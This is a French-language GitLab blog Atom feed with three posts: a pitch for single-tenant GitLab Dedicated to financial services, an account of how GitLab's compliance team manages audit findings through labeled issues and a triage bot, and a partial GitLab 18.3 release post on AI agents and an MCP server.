<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-08-29T13:04:49.226Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/fr-fr/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[Pourquoi les services financiers choisissent-ils le SaaS monolocataire ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/why-financial-services-choose-single-tenant-saas/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/why-financial-services-choose-single-tenant-saas/"/>
        <updated>2025-08-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Dans les grandes institutions financières, le contraste entre la sécurité déployée à l'entrée des bâtiments et celle appliquée au sein des équipes est saisissant. À l'entrée, gardes armés, scanners biométriques, murs renforcés et multiples points de contrôle assurent la sécurité. Tandis qu’à l'intérieur, les équipes de développement créent les algorithmes qui alimentent la finance mondiale sur une infrastructure partagée avec des millions d'inconnus.</p>
<p>Les logiciels utilisés par les institutions financières actuelles sont tout sauf ordinaires. Ils comprennent des modèles de risque de crédit qui protègent des milliards d'actifs, des algorithmes de traitement des paiements qui gèrent des millions de transactions, des plateformes d'intelligence client qui pilotent la stratégie commerciale, et des systèmes réglementaires qui garantissent la conformité opérationnelle. Le tout alimenté par un code source qui sert à la fois de cœur opérationnel et d'actif stratégique.</p>
<h2>Quand l'infrastructure partagée devient un risque systémique</h2>
<p>L'essor des plateformes SaaS (Software-as-a-Service) a créé une réalité inconfortable pour les institutions financières. Chaque locataire partagé devient un risque tiers non maîtrisé qui transforme les incidents à l'échelle de la plateforme en perturbations à l'échelle du secteur. C'est exactement ce type de risque de concentration qui attire de plus en plus l'attention des régulateurs.</p>
<p>Patrick Opet, Chief Information Security Officer de JPMorgan Chase, a récemment lancé un avertissement sévère au secteur dans une <a href="https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers">lettre ouverte</a> adressée aux fournisseurs tiers. Il souligne que l'adoption du SaaS « crée une vulnérabilité substantielle qui affaiblit le système économique mondial » en intégrant « un risque de concentration dans les infrastructures critiques du monde entier ». La lettre fait remarquer qu'« une attaque contre un fournisseur majeur de SaaS ou de PaaS peut immédiatement se répercuter sur ses clients » et créer exactement le risque systémique que les plateformes cloud multi-locataires dédiées à la gestion du code source, aux compilations CI, aux déploiements CD et aux scans de sécurité introduisent.</p>
<p>Imaginez la complexité réglementaire que cela engendre. Dans des environnements partagés, votre posture de conformité est à la merci d'incidents potentiels qui touchent d'autres locataires ainsi que des risques de concentration des fournisseurs à grande surface d'attaque. Une mauvaise configuration affectant n'importe quelle organisation sur la plateforme peut avoir un impact plus large sur l'ensemble de l'écosystème.</p>
<p>Les défis liés à la souveraineté des données aggravent ce risque. Les plateformes partagées répartissent les charges de travail entre plusieurs régions et juridictions, souvent sans contrôle granulaire sur l'endroit où votre code source s'exécute. Pour les institutions soumises à des exigences réglementaires strictes, cette répartition géographique peut créer des lacunes en matière de conformité qui sont difficiles à combler.</p>
<p>À cela s'ajoute l'effet d'amplification. Chaque locataire partagé devient un risque tiers indirect pour vos opérations. Ses vulnérabilités augmentent votre surface d'attaque, ses incidents peuvent impacter votre disponibilité et ses compromissions peuvent affecter votre environnement.</p>
<h2>Une plateforme conçue pour vos données les plus sensibles</h2>
<p>GitLab reconnaît que votre code source mérite le même niveau de sécurité que vos données clients les plus sensibles. Plutôt que de vous forcer à choisir entre l'efficacité à l'échelle du cloud et la sécurité de votre entreprise, GitLab offre les deux grâce à <a href="https://about.gitlab.com/fr-fr/dedicated/">GitLab Dedicated</a>, une infrastructure spécialement conçue qui garantit une isolation complète.</p>
<p>Vos workflows de développement, <a href="https://docs.gitlab.com/user/project/repository/">vos dépôts</a> de code source et <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/">vos pipelines CI/CD</a> s'exécutent dans un environnement exclusivement dédié à votre organisation. Les <a href="https://docs.gitlab.com/administration/dedicated/hosted_runners/">runners hébergés</a> sur GitLab Dedicated illustrent parfaitement cette approche. Ces runners se connectent de manière sécurisée à votre centre de données via des liens privés sortants, vous permettant d'accéder à vos services privés et de garantir que vos données ne soient pas exposées sur l'internet public. L'<a href="https://docs.gitlab.com/runner/runner_autoscale/">architecture de mise à l'échelle automatique</a> fournit les performances dont vous avez besoin, sans compromettre la sécurité ni le contrôle.</p>
<h2>Repenser le contrôle</h2>
<p>Pour les institutions financières, minimiser les risques partagés n'est qu'une partie de l'équation. La véritable résilience nécessite un contrôle précis sur la façon dont les systèmes fonctionnent, évoluent et se conforment aux frameworks réglementaires. GitLab Dedicated assure une souveraineté complète des données à travers plusieurs niveaux de contrôle client. Vous conservez une autorité complète sur les <a href="https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest">clés de chiffrement</a> grâce aux capacités <a href="https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok">BYOK (Bring Your Own Key)</a>, qui garantissent que le code source et les données de configuration sensibles restent accessibles uniquement à votre organisation. Même GitLab ne peut pas accéder à vos données chiffrées sans vos clés.</p>
<p>La <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">résidence des données</a> devient un choix plutôt qu'une contrainte. Vous pouvez sélectionner la région AWS de votre choix pour répondre aux exigences réglementaires et aux politiques de gouvernance des données de votre organisation, tout en conservant le contrôle total sur l'endroit où votre code source sensible et votre propriété intellectuelle sont stockés.</p>
<p>Ce contrôle s'étend aux <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">frameworks de conformité</a> requis par les institutions financières. La plateforme fournit des <a href="https://docs.gitlab.com/user/compliance/audit_events/">pistes d'audit complètes</a> et des fonctionnalités de journalisation qui soutiennent les efforts de conformité aux réglementations des services financiers.</p>
<p>Si vous avez des questions de conformité, vous pouvez collaborer directement avec l'équipe d’assistance dédiée de GitLab, composée de professionnels expérimentés qui comprennent les défis réglementaires auxquels sont confrontées les organisations dans les secteurs hautement réglementés.</p>
<h2>Excellence opérationnelle sans charge opérationnelle</h2>
<p>GitLab Dedicated assure une <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">haute disponibilité</a> avec une <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/">reprise après sinistre intégrée</a> qui garantit la résilience de vos opérations de développement même en cas de défaillance de l’infrastructure. Les ressources dédiées s’adaptent aux besoins de votre organisation et évitent les fluctuations de performances inhérentes aux environnements partagés.</p>
<p>L'<a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/">approche zéro maintenance</a> de l'infrastructure CI/CD élimine une charge opérationnelle importante. Vos équipes se concentrent sur le développement tandis que GitLab gère l'infrastructure sous-jacente, la mise à l'échelle automatique et la maintenance, y compris l'application rapide de correctifs de sécurité pour protéger votre propriété intellectuelle critique face aux menaces émergentes. Cette efficacité opérationnelle ne se fait pas au détriment de la sécurité : l'infrastructure dédiée offre des contrôles à l'échelle de l'entreprise et fournit des performances à l'échelle du cloud.</p>
<h2>La réalité concurrentielle</h2>
<p>Alors que certaines institutions débattent des stratégies d'infrastructure, les leaders du secteur prennent des mesures décisives. <a href="https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/">NatWest Group</a>, l'une des plus grandes institutions financières du Royaume-Uni, a choisi GitLab Dedicated pour transformer ses capacités d'ingénierie :</p>
<blockquote>
<p><em>« NatWest Group a adopté GitLab Dedicated pour permettre aux ingénieurs d'utiliser une plateforme d'ingénierie cloud commune, capable de fournir rapidement, fréquemment et en toute sécurité de nouveaux résultats aux clients grâce à des tests automatisés de haute qualité, une infrastructure à la demande et un déploiement direct. Cette nouvelle plateforme améliore considérablement la collaboration entre les équipes, augmente la productivité des développeurs et libère la créativité grâce à une interface unifiée pour le développement logiciel. »</em> <strong>Adam Leggett</strong>, Platform Lead - Engineering Platforms, NatWest</p>
</blockquote>
<h2>Le choix stratégique</h2>
<p>Les institutions financières les plus prospères font face à un défi unique : elles courent les plus grands risques en raison de leurs infrastructures partagées, mais elles disposent également des ressources nécessaires pour concevoir de meilleures solutions.</p>
<p><strong>Pour les leaders du secteur, la question suivante est déterminante face à la concurrence :</strong> Accepterez-vous les risques liés aux infrastructures partagées comme le prix de la transformation numérique, ou investirez-vous dans une infrastructure qui accorde à votre code source l'importance stratégique qu'il mérite ?</p>
<p>Vos algorithmes de trading ne sont pas partagés. Vos modèles de risque ne sont pas partagés. Vos données clients ne sont pas partagées.</p>
<p><strong>Pourquoi votre plateforme de développement est-elle partagée ?</strong></p>
<p><em>Prêt à traiter votre code source comme un actif stratégique ? <a href="https://about.gitlab.com/solutions/finance/">Discutons</a> ensemble de la manière dont GitLab Dedicated fournit la sécurité, la conformité et les performances dont les institutions financières ont besoin, sans les compromis liés à une infrastructure partagée.</em></p>
]]></content>
        <author>
            <name>George Kichukov</name>
            <uri>https://about.gitlab.com/blog/authors/george-kichukov</uri>
        </author>
        <author>
            <name>Allie Holland</name>
            <uri>https://about.gitlab.com/blog/authors/allie-holland</uri>
        </author>
        <published>2025-08-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Optimisez la gestion des écarts de conformité avec GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/how-to-transform-compliance-observation-management-with-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/how-to-transform-compliance-observation-management-with-gitlab/"/>
        <updated>2025-08-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Un écart de conformité est mis en évidence lors de la surveillance des contrôles de sécurité et correspond à une déviation entre le fonctionnement attendu d’un contrôle de sécurité et son comportement réel. Il peut résulter d'un défaut de conception (contrôle de sécurité mal défini et qui ne satisfait pas les exigences), d'un manque d'efficacité opérationnelle (contrôle inefficace), ou encore d'un manque de preuves (absence de documentation ou de preuve d'exécution du contrôle).</p>
<p>Chez GitLab, nous détectons ces écarts de conformité principalement lors de notre processus de surveillance trimestriel qui évalue systématiquement l'efficacité des contrôles de sécurité soutenant nos certifications (SOC 2, ISO 27001, etc.) ou lors d'audits externes par des évaluateurs indépendants. Au-delà des lacunes en matière de conformité, ils reflètent les risques de sécurité avérés, qui nécessitent l'application rapide de mesures correctives traçables.</p>
<p>Le processus de gestion des écarts de conformité se décompose en plusieurs étapes, depuis leur identification jusqu'à leur résolution complète, en passant par les mesures correctives. Dans cet article, découvrez comment l'équipe Security Compliance de GitLab s'appuie sur la plateforme DevSecOps pour gérer et remédier aux écarts de conformité, ainsi que les gains d'efficacité obtenus grâce à cette approche.</p>
<h2>Le cycle de vie d'un écart de conformité chez GitLab</h2>
<p>Ce cycle englobe l'ensemble du processus, de l'identification des écarts de conformité par l'équipe en charge de la conformité jusqu'à leur résolution complète par les responsables chargés de la remédiation. Ce cadre structuré permet un suivi transparent en temps réel, simple à comprendre par toutes les parties prenantes.</p>
<p>Il se compose des étapes suivantes :</p>
<p><strong>1. Identification</strong></p>
<ul>
<li>Les équipes responsables de la conformité identifient les éventuels écarts de conformité lors de la surveillance trimestrielle des contrôles de sécurité.</li>
<li>Une validation initiale est effectuée pour confirmer la non-conformité.</li>
<li>Dès cette étape, un ticket GitLab est créé avec une documentation détaillée.</li>
<li>La cause profonde de l'écart de conformité est déterminée et un plan de remédiation est établi.</li>
</ul>
<p><strong>2. Validation</strong></p>
<ul>
<li>Le ticket est attribué au responsable de la remédiation concerné (chef d'équipe ou manager).</li>
<li>Ce dernier l'examine et confirme qu'il en accepte la propriété.</li>
<li>Le plan de remédiation est examiné, priorisé et ajusté de manière collaborative, le cas échéant.</li>
</ul>
<p><strong>3. Mise en œuvre</strong></p>
<ul>
<li>Les actions de remédiation commencent par la définition de jalons et d'échéances clairs.</li>
<li>Des retours sont ajoutés directement dans le ticket GitLab et son statut est mis à jour.</li>
<li>La collaboration s'effectue de manière transparente : toutes les parties prenantes peuvent suivre la progression du ticket.</li>
</ul>
<p><strong>4. Remédiation</strong></p>
<ul>
<li>Le responsable de la remédiation exécute les actions correctives et les marquent comme terminées, tout en fournissant les preuves de leur mise en place.</li>
<li>Le ticket passe à l'étape de revue de la conformité à des fins de validation.</li>
</ul>
<p><strong>5. Résolution</strong></p>
<ul>
<li>L'équipe de conformité vérifie que tous les critères définis pour pouvoir clôturer le ticket sont respectés.</li>
<li>Le ticket incluant une documentation complète est ensuite fermé.</li>
<li>Les leçons tirées du cycle de l'écart de conformité sont consignées afin de prévenir des cas similaires à l'avenir.</li>
</ul>
<p>Des <strong>processus alternatifs</strong> sont prévus pour les cas bloquants, les risques acceptés ou les retards, avec des workflows d'escalade adaptés.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png" alt="Exemple de cycle de vie d'un écart de conformité">
&lt;center&gt;&lt;i&gt;Exemple de cycle de vie d'un écart de conformité&lt;/i&gt;&lt;/center&gt;</p>
<h2>La force de la transparence avec GitLab</h2>
<p>Avec une gestion efficace des écarts de conformité, l'accès aux métadonnées de base, à savoir la propriété, le statut ou le niveau de priorité, ne doit demander aucun effort. Pourtant, dans de nombreuses entreprises, c'est exactement le contraire : les équipes de conformité doivent sans cesse relancer pour obtenir la moindre mise à jour, les équipes des opérations ignorent leurs responsabilités, et la direction manque de visibilité sur l'exposition réelle aux risques jusqu'au moment de l'audit.</p>
<p>L'équipe Security Compliance de GitLab a rencontré les mêmes difficultés. Elle a d'abord utilisé un outil GRC dédié comme source unique de vérité pour les écarts de conformité les plus critiques. Mais, faute de visibilité pour les principales parties prenantes, très peu de mesures de remédiation étaient effectivement mises en œuvre, car l'équipe passait la plupart de son temps sur des tâches administratives.</p>
<p>Nous avons finalement migré la gestion des écarts de conformité directement dans GitLab, à l'aide de tickets regroupés dans un projet dédié. Ainsi chaque écart de conformité devient un élément de travail visible et exploitable, naturellement intégré au workflow des équipes de développement et des opérations. Chaque contributeur peut identifier les sujets prioritaires, collaborer à l'élaboration des plans de remédiation et suivre les progrès en temps réel, favorisant ainsi une transparence et une responsabilisation que les outils traditionnels sont incapables d'offrir.</p>
<h3>Une organisation intelligente avec les labels et les tableaux de tickets</h3>
<p>GitLab permet de classer les tickets d'écarts de conformité en différentes vues et catégories pour une organisation flexible. L'équipe Security Compliance de GitLab organise ses tickets de la manière suivante :</p>
<ul>
<li><strong>Workflow :</strong> <code>~workflow::identified</code>, <code>~workflow::validated</code>, <code>~workflow::in progress</code>, <code>~workflow::remediated</code></li>
<li><strong>Équipe concernée :</strong> <code>~dept::engineering</code>, <code>~dept::security</code>, <code>~dept::product</code></li>
<li><strong>Gravité du risque :</strong> <code>~risk::critical</code>, <code>~risk::high</code>, <code>~risk::medium</code>, <code>~risk::low</code></li>
<li><strong>Système impacté :</strong> <code>~system::gitlab</code>, <code>~system::gcp</code>, <code>~system::hr-systems</code></li>
<li><strong>Programme de conformité :</strong> <code>~program::soc2</code>, <code>~program::iso</code>, <code>~program::fedramp</code> , <code>~program::pci</code></li>
</ul>
<p>Ces labels permettent de créer des tableaux de tickets personnalisés :</p>
<ul>
<li>Les <strong>tableaux par workflow</strong> pour une vue claire des étapes du cycle de vie de chaque écart de conformité.</li>
<li>Les <strong>tableaux par équipe</strong> pour visualiser la charge de travail de chaque équipe liée à la remédiation.</li>
<li>Les <strong>tableaux par niveau de risque</strong> pour prioriser les écarts de conformité critiques nécessitant une action immédiate.</li>
<li>Les <strong>tableaux par système</strong> pour regrouper les écart de conformité liés à un environnement ou une plateforme spécifique.</li>
<li>Les <strong>tableaux par programme</strong> pour le suivi des tâches de remédiation en fonction des certifications associées.</li>
</ul>
<p>Les labels permettent également de définir des filtres et de générer des rapports de façon optimale, tout en facilitant l'automatisation des workflows grâce aux politiques définies par notre bot de classement. Pour en savoir plus, consultez la section dédiée à l’automatisation.</p>
<h2>La puissance de l'automatisation</h2>
<p>Gérer des dizaines d'écarts de conformité liés à plusieurs certifications nécessite une automatisation intelligente. Notre équipe Security Compliance s'appuie pour cela sur le <a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">bot de classement par priorité</a>, un projet open source hébergé sur GitLab. Ce bot, mis à disposition sous forme d'une gemme, permet de classer automatiquement les tickets au sein des projets ou groupes GitLab en fonction de politiques prédéfinies, et ainsi de les organiser de manière structurée. De cette façon, les parties prenantes peuvent concentrer leurs efforts sur la remédiation plutôt que sur la gestion administrative.</p>
<p>Notre projet dédié regroupe nos politiques d'automatisation alignées sur les bonnes pratiques : chaque ticket doit disposer d'un responsable assigné, il doit inclure les labels requis, il doit être mis à jour au moins tous les 30 jours, et les tickets bloqués ou en attente doivent être relancés tous les 90 jours. En outre, un ticket récapitulatif est généré chaque semaine : il répertorie tous les tickets qui ne respectent pas ces politiques. Les membres de l'équipe restent ainsi concentrés sur la remédiation en se libérant des tâches administratives.</p>
<h2>Le potentiel des rapports et indicateurs de performance</h2>
<p>Les données brutes issues des tickets GitLab offrent une source précieuse d'informations stratégiques. En analysant des métadonnées telles que les dates de création, de clôture, de dernière mise à jour ou encore les labels appliqués, les équipes dirigeantes peuvent en tirer des enseignements concrets pour optimiser la gestion des écarts de conformité. Voici les indicateurs clés pour évaluer l’efficacité de votre processus :</p>
<p><strong>Analyse de l'efficacité de la remédiation :</strong> délai moyen entre l'identification et la résolution de l'écart de conformité, ventilé par équipe et niveau de gravité.</p>
<p>Comparez les dates de création et de clôture des tickets en fonction des équipes et du niveau de gravité pour identifier les goulots d'étranglement et évaluer la performance par rapport aux accords de niveau de service (SLA). Cette approche met en évidence les équipes les plus réactives, ainsi que celles qui ont besoin de ressources supplémentaires ou d'optimiser leur processus.</p>
<p><strong>Évaluation du risque en temps réel :</strong> profil de risque actuel basé sur les écarts de conformité critiques exposant à des risques majeurs, et dont les tickets sont encore ouverts.</p>
<p>Tirez parti des labels de niveau de risque pour obtenir une vue instantanée du niveau actuel d'exposition aux risques de votre entreprise. De cette manière, vous identifiez immédiatement les écarts de conformité critiques nécessitant une attention immédiate.</p>
<p><strong>Allocation stratégique des ressources :</strong> cartographie des risques par équipe pour orienter les efforts</p>
<p>Identifiez les équipes responsables de la remédiation des écarts de conformité les plus critiques afin de concentrer les ressources, de renforcer le suivi et de prioriser les projets. Cette approche fondée sur les données garantit un impact maximal.</p>
<p><strong>Suivi de la préparation à la conformité :</strong> nombre d'écarts de conformité par certification et taux de résolution.</p>
<p>Utilisez les labels de certification pour évaluer le niveau de préparation aux audits et suivre la progression vers les objectifs de conformité. Cet indicateur permet d'anticiper les risques de non-conformité à une certification spécifique et valide l'efficacité des actions de remédiation.</p>
<p><strong>Suivi de la responsabilisation :</strong> identification des remédiations en retard.</p>
<p>L'analyse des délais via les métadonnées des tickets permet de détecter les irrégularités par rapport aux SLA. Cet indicateur met en évidence les retards systémiques et favorise les interventions proactives avant qu'ils ne compromettent la sécurité ou la conformité.</p>
<p><strong>Contrôle de l'engagement :</strong> mise à jour de l'état des écarts de conformité.</p>
<p>Suivez les mises à jour récentes (30 derniers jours) pour vous assurer que les écarts de conformité sont activement pris en charge. Cet indicateur identifie les tickets non traités qui peuvent nécessiter une réattribution ou une relance.</p>
<h2>L'art de la gestion proactive</h2>
<p>Voici comment amplifier l'impact de votre gestion des écarts de conformité :</p>
<p><strong>Intégrer les outils de sécurité</strong></p>
<p>La gestion moderne des écarts de conformité ne repose plus sur un suivi manuel ; elle s'intègre à votre infrastructure de sécurité en place. Configurez des scanners de détection des vulnérabilités et des outils de surveillance de la sécurité pour générer automatiquement des tickets pour vos écarts de conformité. Vous éliminez ainsi la saisie manuelle des données et garantissez une couverture complète.</p>
<p><strong>Appliquer l'analyse prédictive</strong></p>
<p>Les historiques d'écarts de conformité offrent une base solide de prévision lorsqu'elles sont correctement analysées. Tirez parti des schémas de remédiation antérieurs pour anticiper les délais et besoins en ressources, facilement planifier les projets et allouer les budgets. La reconnaissance de motifs récurrents parmi les types d'écarts de conformité révèle des vulnérabilités systémiques qui justifient la mise en place de contrôles préventifs et passer ainsi d'une gestion réactive à une gestion proactive des risques. Les systèmes avancées, combinant plusieurs sources de données, fournissent une priorisation fine des menaces via des algorithmes sophistiqués de notation des risques.</p>
<p><strong>Adapter les processus aux parties prenantes</strong></p>
<p>Les besoins varient selon les rôles. Des tableaux de bord basés sur les rôles offrent des vues personnalisées à chaque profil : les dirigeants tirent parti des synthèses stratégiques des risques critiques, les managers suivent la performance de leurs équipes et les contributeurs gèrent les écarts de conformité qui leur sont attribuées. Automatisez les systèmes de reporting pour qu'ils répondent aux différents besoins techniques et aux préférences de communication des utilisateurs (rapports détaillés ou briefings destinés à la direction, par exemple). Les capacités d'analyse en libre-service permettent aux parties prenantes d'effectuer des analyses ad hoc et de générer des informations personnalisées, et ce sans assistance ni expertise technique.</p>
<h2>De la conformité à l'excellence opérationnelle</h2>
<p>L'approche de GitLab en matière de gestion des écarts de conformité dépasse le simple changement d'outil. Elle permet en effet de passer d'une mise en conformité réactive à une atténuation proactive des risques. En brisant les silos entre les équipes de conformité et des opérations, elle offre une visibilité sans précédent tout en améliorant considérablement les résultats de la remédiation.</p>
<p>Les bénéfices sont mesurables : des délais de résolution raccourcis grâce à une responsabilisation claire, une collaboration active plutôt qu'une implication contrainte et une préparation continue aux audits sans charge de travail intense à la dernière minute. Les workflows automatisés libèrent du temps aux professionnels de la conformité, qui peuvent gérer des tâches stratégiques, tandis que l'exploitation de métadonnées riches alimentent des analyses prédictives favorisant une prévention proactive et non plus réactive.</p>
<p>Plus important encore, grâce à cette approche, la conformité n'est plus un fardeau, mais un catalyseur stratégique. Lorsque les écarts de conformité deviennent des éléments de travail visibles et traçables, intégrés aux workflows opérationnels, les entreprises renforcent leur culture de sécurité et instaurent des améliorations durables qui s'étendent au-delà de chaque cycle d'audit. Il en résulte non seulement une conformité réglementaire, mais aussi une résilience organisationnelle accrue et un avantage concurrentiel fondé sur une gestion optimale des risques.</p>
<blockquote>
<p>Pour en savoir plus sur les pratiques de conformité liées aux contrôles de sécurité de GitLab, consultez <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/">la section Security Compliance de notre manuel</a> enrichie de conseils pratiques pour la mise en œuvre.</p>
</blockquote>
]]></content>
        <author>
            <name>Madeline Lake</name>
            <uri>https://about.gitlab.com/blog/authors/madeline-lake</uri>
        </author>
        <published>2025-08-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.3 : expansion de l'orchestration IA dans l'ingénierie logicielle]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab est aujourd'hui une plateforme DevSecOps complète qui unifie chaque étape du cycle de vie logiciel. Nous n'arrêtons pas l'innovation et continuons à œuvrer afin de devenir la première plateforme au monde alimentée par l'IA native pour l'ingénierie logicielle. Chez GitLab, nous croyons que l'avenir de l'ingénierie logicielle repose sur une collaboration intrinsèque entre l'humain et l'IA, c'est pourquoi nous souhaitons proposer les meilleures fonctionnalités d'IA à chaque utilisateur GitLab.</p>
<p>Cette transformation s'opère à trois niveaux distincts qui vont au-delà de ce que proposent les autres outils de développement IA :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png" alt="Diapositive de transformation d'IA native"></p>
<p><strong>Premièrement, nous sommes un système pour l'enregistrement.</strong> Notre plateforme de données unifiée contient vos actifs numériques les plus précieux, comme votre code source et votre propriété intellectuelle, ainsi qu'une large quantité de données non structurées de vos projets, des backlogs de bugs, des configurations CI/CD, des historiques de déploiement, des rapports de sécurité et des données de conformité. Ces données contextuelles d'une valeur inestimable sont en sécurité dans votre environnement GitLab et ne sont pas accessibles aux agents génériques ni aux grands modèles de langage (LLM).</p>
<p><strong>Deuxièmement, nous agissons comme votre plan de contrôle logiciel.</strong> Nous orchestrons vos processus métier critiques via des dépôts Git, des API REST et des interfaces basées sur des webhooks qui alimentent votre livraison logicielle de bout en bout. Pour nombre de nos clients, il s'agit d'une dépendance de niveau 0 sur laquelle leurs processus métier critiques s'appuient quotidiennement.</p>
<p><strong>Troisièmement, nous offrons une expérience utilisateur puissante.</strong> Nous proposons une interface intégrée qui élimine les changements de contexte coûteux qui ralentissent la plupart des équipes d'ingénierie. Plus de 50 millions d'utilisateurs enregistrés et notre vaste communauté dépendent de GitLab pour accomplir leur travail, et ils profitent d'une visibilité complète du cycle de vie et des outils de collaboration sur une seule plateforme. Forte de cette expertise, GitLab occupe une position de pionnière unique dans la collaboration intuitive humain-IA qui amplifie la productivité des équipes tout en préservant les workflows que nos utilisateurs connaissent et auxquels ils font confiance.</p>
<p><strong>Extension de notre plateforme avec l'IA native intégrée à chaque niveau</strong></p>
<p><a href="https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> intègre et étend ces trois niveaux. Conçue pour l'extensibilité et l'interopérabilité, elle permet aux clients et partenaires de créer des solutions qui génèrent encore plus de valeur. Notre approche de plateforme ouverte met l'accent sur une connectivité transparente avec les outils et systèmes IA externes tout en garantissant une intégration à notre pile existante aux trois niveaux.</p>
<ul>
<li>Tout d'abord, nous étendons notre plateforme de données unifiée avec un <strong>graphique de connaissances</strong> optimisé pour l'accès agentique qui indexe et relie le code avec toutes vos autres données non structurées. L'IA est friande de contexte, et nous sommes persuadés que cette approche accélérera non seulement le raisonnement et l'inférence par les agents, mais fournira également des résultats agentiques plus économiques et de meilleure qualité.</li>
<li>Ensuite, nous ajoutons une <strong>couche d'orchestration</strong> importante en trois parties distinctes à notre plan de contrôle existant : elle permet aux agents et aux flows de s'enregistrer comme abonnés aux événements SDLC GitLab, construit un nouveau moteur d'orchestration pour les flows multi-agents conçus sur mesure et expose les outils, agents et flows GitLab via Model Context Protocol (MCP) et des protocoles standards pour une interopérabilité sans précédent.</li>
<li>Enfin, nous étendons <strong>l'expérience GitLab</strong> pour offrir des agents et des flows d'agents de premier plan à travers tout le cycle de développement logiciel. Vous pourrez assigner des tâches asynchrones aux agents, les mentionner dans les commentaires et créer des agents personnalisés avec un contexte spécifique à vos workflows. Mais plus important encore, GitLab livre des agents natifs pour chaque étape du développement et propose un riche écosystème d'agents tiers. Cette approche crée une véritable collaboration humain-IA où vous pourrez travailler avec les agents IA aussi naturellement qu'avec vos collègues.</li>
</ul>
<p>Découvrez en vidéo les nouveautés de la version 18.3 ou poursuivez votre lecture.</p>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111796316?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab_18.3 Release_081925_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Nouveautés de GitLab 18.3</h2>
<p>La version 18.2 a introduit des <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box">agents IA spécialisés</a> qui travaillent aux côtés des équipes de développement tout au long du cycle de développement logiciel, ainsi que notre <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta">Software Development Flow</a>, une fonctionnalité puissante qui donne aux utilisateurs la capacité d'orchestrer plusieurs agents pour planifier, implémenter et tester des changements de code de bout en bout.</p>
<p>GitLab 18.3 introduit des intégrations et une interopérabilité étendues, davantage de Flows, et une conscience contextuelle améliorée sur tout le cycle de développement logiciel.</p>
<h3>Extension des intégrations et de l'interopérabilité</h3>
<p>Nous offrons une extensibilité IA complète grâce aux agents GitLab de première partie et à un riche écosystème d'agents tiers avec un accès complet au contexte et aux données du projet. Cette approche maintient les workflows natifs et la gouvernance de GitLab et garantit une flexibilité dans le choix de vos outils préférés grâce à une orchestration hautement intégrée entre ces agents et la plateforme centrale de GitLab. Les équipes bénéficient de fonctionnalités IA améliorées, mais conservent leurs avantages clés d'intégration, de supervision et d'expérience utilisateur.</p>
<ul>
<li><strong>Serveur MCP – intégration IA universelle :</strong> le serveur (<a href="https://about.gitlab.com/fr-fr/topics/ai/model-context-protocol/">MCP</a>) de GitLab permet aux systèmes IA de s'intégrer en toute sécurité directement avec vos projets GitLab et vos processus de développement. Cette interface standardisée élimine le besoin d'intégrations personnalisées supplémentaires et permet à vos outils IA, y compris <a href="https://docs.cursor.com/en/tools/mcp">Cursor</a>, de fonctionner intelligemment dans votre environnement GitLab existant. Consultez notre <a href="https://docs.gitlab.com/fr-fr/user/gitlab_duo/model_context_protocol/mcp_server/">documentation</a> pour obtenir une liste complète des outils inclus avec la version 18.3. <strong>Des outils supplémentaires sont prévus pour la version 18.4.</strong></li>
</ul>
<blockquote>
